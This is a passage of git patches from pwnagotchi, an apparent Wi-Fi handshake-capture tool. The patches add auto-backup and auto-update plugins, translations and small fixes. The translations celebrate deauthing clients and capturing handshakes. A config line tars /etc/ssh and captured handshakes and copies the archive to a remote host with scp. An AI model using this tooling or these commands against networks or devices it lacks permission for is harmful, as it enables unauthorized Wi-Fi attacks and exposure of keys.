stdout=open(os.devnull, 'wb')) - if 'upload_cmd' in OPTIONS and OPTIONS['upload_cmd'] is not None: - subprocess.call(OPTIONS['upload_cmd'].split(), stdout=open(os.devnull, 'wb')) + for cmd in OPTIONS['commands']: + subprocess.call(cmd.format(files=files_to_backup).split(), stdout=open(os.devnull, 'wb')) logging.info("AUTO-BACKUP: Successfuly ran backup commands.") LAST_BACKUP = datetime.now() with open('/root/.auto-backup', 'w') as f: From 03094264f0830e202c6e934c89290392e52c4683 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 12:55:37 +0200 Subject: [PATCH 45/64] fix: possible fix for ENOBUFS error while advertising (fixes #141) --- .../root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py index 90374c69..ff797a35 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/mesh/advertise.py @@ -86,7 +86,9 @@ class Advertiser(object): logging.info("started advertiser thread (period:%s sid:%s) ..." % (str(self._period), self._me.session_id)) while self._running: try: - sendp(self._frame, iface=self._iface, verbose=False, count=5, inter=self._period) + sendp(self._frame, iface=self._iface, verbose=False, count=1, inter=self._period) + except OSError as ose: + logging.warning("non critical issue while sending advertising packet: %s" % ose) except Exception as e: logging.exception("error") time.sleep(self._period) From e9b9a1edb920ebe601acebf117e32228f1872cea Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 13:25:34 +0200 Subject: [PATCH 46/64] new: new auto-update plugin --- sdcard/rootfs/root/pwnagotchi/config.yml | 3 + .../pwnagotchi/plugins/default/auto-backup.py | 6 +- .../pwnagotchi/plugins/default/auto-update.py | 59 +++++++++++++++++++ 3 files changed, 65 insertions(+), 3 deletions(-) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 24bcdb79..7a2fa4f2 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -6,6 +6,9 @@ main: custom_plugins: # which plugins to load and enable plugins: + auto-update: + enabled: false + interval: 1 # every day auto-backup: enabled: false interval: 1 # every day diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py index 1e4acb9a..5bc186d0 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py @@ -10,7 +10,7 @@ import subprocess from datetime import datetime OPTIONS = dict() -LAST_BACKUP = None +LAST_UPDATE = None READY = False def on_loaded(): @@ -18,7 +18,7 @@ def on_loaded(): Gets called when the plugin gets loaded """ global READY - global LAST_BACKUP + global LAST_UPDATE if 'files' not in OPTIONS or ('files' in OPTIONS and OPTIONS['files'] is None): logging.error("AUTO-BACKUP: No files to backup.") @@ -42,7 +42,7 @@ def on_internet_available(display, config, log): """ Called in manual mode when there's internet connectivity """ - global LAST_BACKUP + global LAST_UPDATE if READY: if LAST_BACKUP is not None: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py new file mode 100644 index 00000000..ca2d6fc6 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py @@ -0,0 +1,59 @@ +__author__ = 'evilsocket@gmail.com' +__version__ = '1.0.0' +__name__ = 'auto-update' +__license__ = 'GPL3' +__description__ = 'This plugin performs an "apt update && apt upgrade" when internet is availaible.' + +import os +import logging +import subprocess +from datetime import datetime + +OPTIONS = dict() +LAST_UPDATE = None +READY = False +STATUS_FILE = '/root/.auto-update' + + +def on_loaded(): + global READY + global LAST_UPDATE + + if 'interval' not in OPTIONS or ('interval' in OPTIONS and OPTIONS['interval'] is None): + logging.error("AUTO-UPDATE: Interval is not set.") + return + + if os.path.exists(STATUS_FILE): + LAST_UPDATE = datetime.fromtimestamp(os.path.getmtime(STATUS_FILE)) + + READY = True + + +def on_internet_available(display, config, log): + global LAST_UPDATE + + if READY: + if LAST_UPDATE is not None: + if (datetime.now() - LAST_UPDATE).days < OPTIONS['interval']: + return + + try: + logging.info("AUTO-UPDATE: updating packages index ...") + + update = subprocess.Popen('apt update -y', shell=True, stdin=None, + stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") + update.wait() + + logging.info("AUTO-UPDATE: updating packages ...") + + upgrade = subprocess.Popen('apt upgrade -y', shell=True, stdin=None, + stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") + upgrade.wait() + + logging.info("AUTO-UPDATE: complete.") + + LAST_UPDATE = datetime.now() + with open(STATUS_FILE, 'w') as f: + f.write('success') + except Exception as e: + logging.exception("AUTO-UPDATE ERROR") From 0edd0e9d49ad05b8d76399512d9961be4d3a261a Mon Sep 17 00:00:00 2001 From: swedishmike Date: Sat, 5 Oct 2019 12:32:53 +0100 Subject: [PATCH 47/64] Updated existing translations --- sdcard/rootfs/root/pwnagotchi/config.yml | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 7a2fa4f2..175d9909 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -1,6 +1,6 @@ # main algorithm configuration main: - # currently implemented: en (default), de, nl, it + # currently implemented: en (default), de, el, fr, it, mk, nl lang: en # custom plugins path, if null only default plugins with be loaded custom_plugins: @@ -166,6 +166,3 @@ bettercap: - wifi.ap.new - wifi.ap.lost - mod.started - - - From 918da69cba98d5957c8f0ba454110911e2fb4e27 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Sat, 5 Oct 2019 14:15:36 +0200 Subject: [PATCH 48/64] Fix translation --- .../pwnagotchi/locale/de/LC_MESSAGES/voice.mo | Bin 3902 -> 4126 bytes .../pwnagotchi/locale/de/LC_MESSAGES/voice.po | 20 +++++++++++++++++- .../pwnagotchi/locale/el/LC_MESSAGES/voice.po | 20 +++++++++++++++++- .../pwnagotchi/locale/fr/LC_MESSAGES/voice.po | 20 +++++++++++++++++- .../pwnagotchi/locale/it/LC_MESSAGES/voice.mo | Bin 3759 -> 3966 bytes .../pwnagotchi/locale/it/LC_MESSAGES/voice.po | 20 +++++++++++++++++- .../pwnagotchi/locale/mk/LC_MESSAGES/voice.po | 20 +++++++++++++++++- .../pwnagotchi/locale/nl/LC_MESSAGES/voice.po | 20 +++++++++++++++++- .../scripts/pwnagotchi/locale/voice.pot | 15 ++++++------- .../root/pwnagotchi/scripts/pwnagotchi/log.py | 6 +++--- .../pwnagotchi/scripts/pwnagotchi/voice.py | 20 ++++++++++++++++-- 11 files changed, 142 insertions(+), 19 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/de/LC_MESSAGES/voice.mo b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/de/LC_MESSAGES/voice.mo index 9a26d44bfa3a51370d4f0dc64d46f2b5f5d99314..fd5058bf9014298b2e0eb5961ac5631aaafd9374 100644 GIT binary patch delta 1258 zcmY+^Pe>GD7{~F)T>n&V)~2aj=~!)<>uzlp1x6rI5f~kWpp!*Ap+qA%D-je6bqG&U zVTS@C_Sz-30;8f^P&f0`p|)d1g{LBj`u=9#pk8?9Gw-`I@1N%xecnCimEWZjvql>v zHV_Z%%#PqlJr~+|!fZKCU^|Am9cOSIR^9k3Tur}*TX6|BUuT2aKHP&I2DlclBlDH5 z!cCHadF;TK&iB|x|2sBeOJlr18$O|*K`m6n6gKgYHk3xaSHMm@jGA{0SKtL~#Vgpv z`gW6>UIy-<9(;=0`67C_gjq~A#~VF>I>89)xl`!jWz+`da3elK&G!cN{AWz#ZzMUE zCan#uZ#~>_2+JUA*?{ZscKspL2@m2bJb^=XW-ry@ACWTJ66*b*sINcCg~~+fRYuuI z^w-jZRO7!^P*3&G{WBb8!S(eK4G=nknl`AmjPMAZP)(&!(?+_9enQ#XOi;mSqdL@j zLfMHvK2$6BafwonI>AmtEgKVEmEv85YN<4;BpKpw)4z&dVuu@0=17R;36(`n^^V%` zQE$pWUA&mL;V_)6eygt}`o<@xr%ad7&QAo>CEpQR=%1MkijJ^)qj{z=KU$g&ioV4J Vb}W7)Ca_WeT>NuvaI32|^9Oa`d6NJD delta 1042 zcmXxjPe@cz6vy#1IXYVE zZ8l`qhQ}AU5Ib3BdAN($@CfTM6gDfyIBNVcUdBGG!z60G*Z2TGpu+>af{|=LFR(H? z1q?J|2|h~Oi&y!d!U)cyHh6^_xPaQIFUKr~0V<(+)VvkEj+>};f8a$t!6=?#!~zCc zy^?_#>c(bN=H2KpiE*4mCAyA!g0HCiexk!uR074hX62Ybt@i|V{{WWab5z3fSjhgi zM5iTW_7RogAL^|M|4_#gWl#&X;SGF>szeHJ;|x~eGPdG3ti#+(=Lz0N&F@AX)gWq} zDGbzkOGg{7qDr%cny`)Ac!=8QbG{ir+vlQre^F1IPgzvzYSg?|EW#ethQp|LXd1Q7 z3)B&<7Epgj=L-XJ51TN%@VwLyQ8#v?O8pFLa1yogB0Bt({{J0S+TW-I^)&ilimF%w zDYTDjuC+RUWu6I5Qs$Y^<_euBYx+=yGQo-Ygj5xkoR7ml@hwzT(C*Tdtj@lHrb_Vc z`l!\n" "Language-Team: DE <33197631+dadav@users.noreply.github.com>\n" @@ -188,3 +188,21 @@ msgstr "" "Ich war {duration} am Pwnen und habe {deauthed} Clients gekickt! Außerdem " "habe ich {associated} neue Freunde getroffen und {handshakes} Handshakes " "gefressen! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "Stunden" + +msgid "minutes" +msgstr "Minuten" + +msgid "seconds" +msgstr "Sekunden" + +msgid "hour" +msgstr "Stunde" + +msgid "minute" +msgstr "Minute" + +msgid "second" +msgstr "Sekunde" diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/el/LC_MESSAGES/voice.po b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/el/LC_MESSAGES/voice.po index fe6d817f..f113ce12 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/el/LC_MESSAGES/voice.po +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/el/LC_MESSAGES/voice.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-10-03 16:44+0200\n" +"POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-10-03 08:00+0000\n" "Last-Translator: Periklis Fregkos \n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" @@ -189,3 +189,21 @@ msgstr "" "Pwnαρα για {duration} και έριξα {deauthed} πελάτες! Επίσης γνώρισα " "{associated} νέους φίλους και καταβρόχθισα {handshakes} χειραψίες! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "" + +msgid "minutes" +msgstr "" + +msgid "seconds" +msgstr "" + +msgid "hour" +msgstr "" + +msgid "minute" +msgstr "" + +msgid "second" +msgstr "" diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/fr/LC_MESSAGES/voice.po b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/fr/LC_MESSAGES/voice.po index 7110512c..1172f7fe 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/fr/LC_MESSAGES/voice.po +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/fr/LC_MESSAGES/voice.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-10-03 16:47+0200\n" +"POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-10-03 10:34+0200\n" "Last-Translator: quantumsheep <7271496+quantumsheep@users.noreply.github." "com>\n" @@ -190,3 +190,21 @@ msgstr "" "J'ai pwn durant {duration} et kick {deauthed} clients! J'ai aussi rencontré " "{associated} nouveaux amis and mangé {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "" + +msgid "minutes" +msgstr "" + +msgid "seconds" +msgstr "" + +msgid "hour" +msgstr "" + +msgid "minute" +msgstr "" + +msgid "second" +msgstr "" diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/it/LC_MESSAGES/voice.mo b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/it/LC_MESSAGES/voice.mo index bcc0f8f597bfdf13fdedec2cdc8538dde349aaf5..53dfa24c6ee7141767fc5df35c0b2466db1ae926 100644 GIT binary patch delta 1179 zcmYk*Pe>GD7{~FacH7lVO)E`Xbt?b0yX|I&QX?XzlXj|$L4lO$Dmk>91wkwkQ5`x( zpr<-4bm(BRQWOOdd5P*EcIZ$?qYmN8OAvj3GjGs~?|f$7oq6BqeV*6(mOrhG% zF8X}{6RdA%xbYaciYc5$MfeUC`7&x}tLR~*B3!r~TX;T#ns5a5{v~Y2Tc`jYA<3{O z$R6w|5~DrCIP2SMH?X7uo=xPmqK9V;ozI%+~)_CghAFpCP{9PYs@sKDk>rFf1i z*%~Ti%~jzBd$72Lfn(gX;xOvNDb&Jukw2T|q7;{K316Vji#}Fn7El3v!ZuvRE{u^z zZ6t$rcpMeLDd%K0`R`!h1_O%xF=~SMsGa>pP0&O%Iy`AqY6mcjXHnnZ!`)a$mEbdK z!5`@1Z)Ee9;2`K+cR5qFe&Ih4rw<%MXzIh+eP03k`~E(*OVf delta 971 zcmZA0IV?m`6vpwx%$Tt=_Wjw$GD0R%NGw4ls%a=hp;0J>P$^6ymR<;zf=Z)6Y!#wH zCxSvq^r#dP@&BHoaFaW~_vXEO?>Xn*_f@`A7JCeOSBw^>m(r&b%-ZoPkssQj$1E9- zFb~hM0q^7Y9Vcx z51=v|LkH(j3vXc=o}d=IN4@`!#pnzC1mK_o4r2y(VKP;Y>N)G%5cRFbQEbKq)P(z3 zh1aNs-cY5@Agu=MM+Gv83U~?Aa23mO6E*G(weSu>~>$vkG`8Y+P8xTjdl{T(XsFVy%-qEli$sPPl1voM!V{Z*=U{%FBH)C4bB zi7AAwk~X0h>_!I%kl<|!i*Obd$Qn{v_Z?M$qh*bBRZE#`P6fnk?pXA7;X#mTS8Z+s;UxDuxd(5Tj1AzlC1lQ#lJXr c&s6>p{ePpPZmZdicxSx3H-W*V\n" "Language: italian\n" @@ -187,3 +187,21 @@ msgstr "" "Ho lavorato per {duration} e preso a calci {deauthed} clients! Ho anche " "incontrato {associate} nuovi amici e ho mangiato {handshakes} handshakes! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "ore" + +msgid "minutes" +msgstr "minuti" + +msgid "seconds" +msgstr "secondi" + +msgid "hour" +msgstr "ora" + +msgid "minute" +msgstr "minuto" + +msgid "second" +msgstr "secondo" diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/mk/LC_MESSAGES/voice.po b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/mk/LC_MESSAGES/voice.po index 61d6a3fa..9dff7da0 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/mk/LC_MESSAGES/voice.po +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/mk/LC_MESSAGES/voice.po @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-10-03 16:35+0200\n" +"POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-09-30 23:53+0200\n" "Last-Translator: kovach <2214005+kovachwt@users.noreply.github.com>\n" "Language-Team: \n" @@ -189,3 +189,21 @@ msgstr "" "Си газам веќе {duration} и избацив {deauthed} клиенти! Запознав {associated} " "нови другарчиња и лапнав {handshakes} ракувања! #pwnagotchi #pwnlog #pwnlife " "#hacktheplanet #skynet" + +msgid "hours" +msgstr "" + +msgid "minutes" +msgstr "" + +msgid "seconds" +msgstr "" + +msgid "hour" +msgstr "" + +msgid "minute" +msgstr "" + +msgid "second" +msgstr "" diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/nl/LC_MESSAGES/voice.po b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/nl/LC_MESSAGES/voice.po index 72484e20..6f6f3e3a 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/nl/LC_MESSAGES/voice.po +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/nl/LC_MESSAGES/voice.po @@ -7,7 +7,7 @@ msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-10-03 16:43+0200\n" +"POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: 2019-09-29 14:00+0200\n" "Last-Translator: Justin-P \n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github.com>\n" @@ -188,3 +188,21 @@ msgstr "" "Ik heb gepwned voor {duration} and heb {deauthed} clients gekicked! Ik heb " "ook {associated} nieuwe vrienden gevonden en heb {handshakes} handshakes " "gegeten! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" + +msgid "hours" +msgstr "" + +msgid "minutes" +msgstr "" + +msgid "seconds" +msgstr "" + +msgid "hour" +msgstr "" + +msgid "minute" +msgstr "" + +msgid "second" +msgstr "" diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot index c11874e3..b6489ba4 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/voice.pot @@ -8,7 +8,7 @@ msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-10-03 16:47+0200\n" +"POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" @@ -190,18 +190,17 @@ msgstr "" msgid "hours" msgstr "" -msgid "hour" +msgid "minutes" msgstr "" -msgid "minutes" +msgid "seconds" +msgstr "" + +msgid "hour" msgstr "" msgid "minute" msgstr "" -msgid "hours" +msgid "second" msgstr "" - -msgid "hour" -msgstr "" - diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py index c6a108f3..416ae4f8 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/log.py @@ -125,11 +125,11 @@ class SessionParser(object): self.duration = '%02d:%02d:%02d' % (hours, mins, secs) self.duration_human = [] if hours > 0: - self.duration_human.append('%d %s' % (hours, self.voice.custom('hours' if hours > 1 else 'hour'))) + self.duration_human.append('%d %s' % (hours, self.voice.hhmmss(hours, 'h'))) if mins > 0: - self.duration_human.append('%d %s' % (mins, self.voice.custom('minutes' if mins > 1 else 'minute'))) + self.duration_human.append('%d %s' % (mins, self.voice.hhmmss(mins, 'm'))) if secs > 0: - self.duration_human.append('%d %s' % (secs, self.voice.custom('seconds' if secs > 1 else 'second'))) + self.duration_human.append('%d %s' % (secs, self.voice.hhmmss(secs, 's'))) self.duration_human = ', '.join(self.duration_human) self.avg_reward /= (self.epochs if self.epochs else 1) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py index 536bc179..9268b113 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/voice.py @@ -138,5 +138,21 @@ class Voice: associated=log.associated, handshakes=log.handshakes) - def custom(self, text): - return self._(text) + def hhmmss(self, count, fmt): + if count > 1: + # plural + if fmt == "h": + return self._("hours") + if fmt == "m": + return self._("minutes") + if fmt == "s": + return self._("seconds") + else: + # sing + if fmt == "h": + return self._("hour") + if fmt == "m": + return self._("minute") + if fmt == "s": + return self._("second") + return fmt From 02e6ccbd8ea2b33611993ca612688ddf45d3383e Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 14:22:20 +0200 Subject: [PATCH 49/64] misc: refactored backup and update plugins --- sdcard/rootfs/root/pwnagotchi/config.yml | 10 +++++- .../pwnagotchi/plugins/default/auto-backup.py | 36 ++++++++----------- .../pwnagotchi/plugins/default/auto-update.py | 27 +++++++------- .../pwnagotchi/scripts/pwnagotchi/utils.py | 18 ++++++++++ 4 files changed, 54 insertions(+), 37 deletions(-) diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 7a2fa4f2..f45f7f4d 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -14,9 +14,17 @@ main: interval: 1 # every day files: - /root/brain.nn + - /root/brain.json + - /root/custom.yaml + - /root/handshakes + - /etc/ssh + - /etc/hostname + - /etc/hosts + - /etc/motd + - /var/log/pwnagotchi.log commands: - 'tar czf /tmp/backup.tar.gz {files}' - - 'scp /tmp/backup.tar.gz 10.0.0.1:/backups/backup-$(date).tar.gz' + - 'scp /tmp/backup.tar.gz pwnagotchi@10.0.0.1:/home/pwnagotchi/backups/backup-$(date).tar.gz' gps: enabled: false twitter: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py index 5bc186d0..73122017 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-backup.py @@ -4,21 +4,18 @@ __name__ = 'auto-backup' __license__ = 'GPL3' __description__ = 'This plugin backups files when internet is availaible.' -import os +from pwnagotchi.utils import StatusFile import logging +import os import subprocess -from datetime import datetime OPTIONS = dict() -LAST_UPDATE = None READY = False +STATUS = StatusFile('/root/.auto-backup') + def on_loaded(): - """ - Gets called when the plugin gets loaded - """ global READY - global LAST_UPDATE if 'files' not in OPTIONS or ('files' in OPTIONS and OPTIONS['files'] is None): logging.error("AUTO-BACKUP: No files to backup.") @@ -32,31 +29,28 @@ def on_loaded(): logging.error("AUTO-BACKUP: No commands given.") return - if os.path.exists('/root/.auto-backup'): - LAST_BACKUP = datetime.fromtimestamp(os.path.getmtime('/root/.auto-backup')) - READY = True def on_internet_available(display, config, log): - """ - Called in manual mode when there's internet connectivity - """ - global LAST_UPDATE + global STATUS if READY: - if LAST_BACKUP is not None: - if (datetime.now() - LAST_BACKUP).days < OPTIONS['interval']: - return + if STATUS.newer_then_days(OPTIONS['interval']): + return files_to_backup = " ".join(OPTIONS['files']) try: + display.set('status', 'Backing up ...') + display.update() + for cmd in OPTIONS['commands']: subprocess.call(cmd.format(files=files_to_backup).split(), stdout=open(os.devnull, 'wb')) - logging.info("AUTO-BACKUP: Successfuly ran backup commands.") - LAST_BACKUP = datetime.now() - with open('/root/.auto-backup', 'w') as f: - f.write('success') + + logging.info("AUTO-BACKUP: backup done") + STATUS.update() except OSError as os_e: logging.info(f"AUTO-BACKUP: Error: {os_e}") + display.set('status', 'Backup done!') + display.update() diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py index ca2d6fc6..4a1f1352 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/auto-update.py @@ -4,40 +4,36 @@ __name__ = 'auto-update' __license__ = 'GPL3' __description__ = 'This plugin performs an "apt update && apt upgrade" when internet is availaible.' -import os import logging import subprocess -from datetime import datetime +from pwnagotchi.utils import StatusFile OPTIONS = dict() -LAST_UPDATE = None READY = False -STATUS_FILE = '/root/.auto-update' +STATUS = StatusFile('/root/.auto-update') def on_loaded(): global READY - global LAST_UPDATE if 'interval' not in OPTIONS or ('interval' in OPTIONS and OPTIONS['interval'] is None): logging.error("AUTO-UPDATE: Interval is not set.") return - if os.path.exists(STATUS_FILE): - LAST_UPDATE = datetime.fromtimestamp(os.path.getmtime(STATUS_FILE)) - READY = True def on_internet_available(display, config, log): - global LAST_UPDATE + global STATUS if READY: - if LAST_UPDATE is not None: - if (datetime.now() - LAST_UPDATE).days < OPTIONS['interval']: - return + if STATUS.newer_then_days(OPTIONS['interval']): + return try: + display.set('status', 'Updating ...') + display.update() + logging.info("AUTO-UPDATE: updating packages index ...") update = subprocess.Popen('apt update -y', shell=True, stdin=None, @@ -52,8 +48,9 @@ def on_internet_available(display, config, log): logging.info("AUTO-UPDATE: complete.") - LAST_UPDATE = datetime.now() - with open(STATUS_FILE, 'w') as f: - f.write('success') + STATUS.update() except Exception as e: logging.exception("AUTO-UPDATE ERROR") + + display.set('status', 'Updated!') + display.update() diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py index 28a627a4..d1b2ba0d 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/utils.py @@ -1,3 +1,4 @@ +from datetime import datetime import logging import glob import os @@ -78,3 +79,20 @@ def blink(times=1, delay=0.3): led(False) time.sleep(delay) led(True) + + +class StatusFile(object): + def __init__(self, path): + self._path = path + self._updated = None + + if os.path.exists(path): + self._updated = datetime.fromtimestamp(os.path.getmtime(path)) + + def newer_then_days(self, days): + return self._updated is not None and (datetime.now() - self._updated).days < days + + def update(self, data=None): + self._updated = datetime.now() + with open(self._path, 'w') as fp: + fp.write(str(self._updated) if data is None else data) From 8742e333c5055ed3c0fa1c630c1002cc70f909a7 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 14:31:44 +0200 Subject: [PATCH 50/64] misc: small fix or general refactoring i did not bother commenting --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index c7625f22..8ed53696 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,7 @@ Release Software License Travis + Slack

From 31f7f1c318692d50705a5bf48694d0fafe56b45f Mon Sep 17 00:00:00 2001 From: swedishmike Date: Sat, 5 Oct 2019 13:34:01 +0100 Subject: [PATCH 51/64] Swedish translation added, config.yml update to reflect this as well. --- sdcard/rootfs/root/pwnagotchi/config.yml | 2 +- .../pwnagotchi/locale/se/LC_MESSAGES/voice.mo | Bin 0 -> 3902 bytes .../pwnagotchi/locale/se/LC_MESSAGES/voice.po | 202 ++++++++++++++++++ 3 files changed, 203 insertions(+), 1 deletion(-) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/se/LC_MESSAGES/voice.mo create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/se/LC_MESSAGES/voice.po diff --git a/sdcard/rootfs/root/pwnagotchi/config.yml b/sdcard/rootfs/root/pwnagotchi/config.yml index 175d9909..b089f935 100644 --- a/sdcard/rootfs/root/pwnagotchi/config.yml +++ b/sdcard/rootfs/root/pwnagotchi/config.yml @@ -1,6 +1,6 @@ # main algorithm configuration main: - # currently implemented: en (default), de, el, fr, it, mk, nl + # currently implemented: en (default), de, el, fr, it, mk, nl, se lang: en # custom plugins path, if null only default plugins with be loaded custom_plugins: diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/se/LC_MESSAGES/voice.mo b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/locale/se/LC_MESSAGES/voice.mo new file mode 100644 index 0000000000000000000000000000000000000000..7c0eb0f9b8f56af66f34a1653ae9fdec715f46c0 GIT binary patch literal 3902 zcmbW3&yO5O6~`;Y#91j^8DX}XTgs^miKS41%3)X13n31EblBX0Z1Uvy8*Jk_dx-7$Ll4K^X^B@^S404_%|T?`wt*~;;*={ zUH=5x-~R>K-=|<4kDmhB@6Uql*K;6#qKgaM?%x4k27w)%>_@f&wJ$pPWA;KFvr`$_idc) 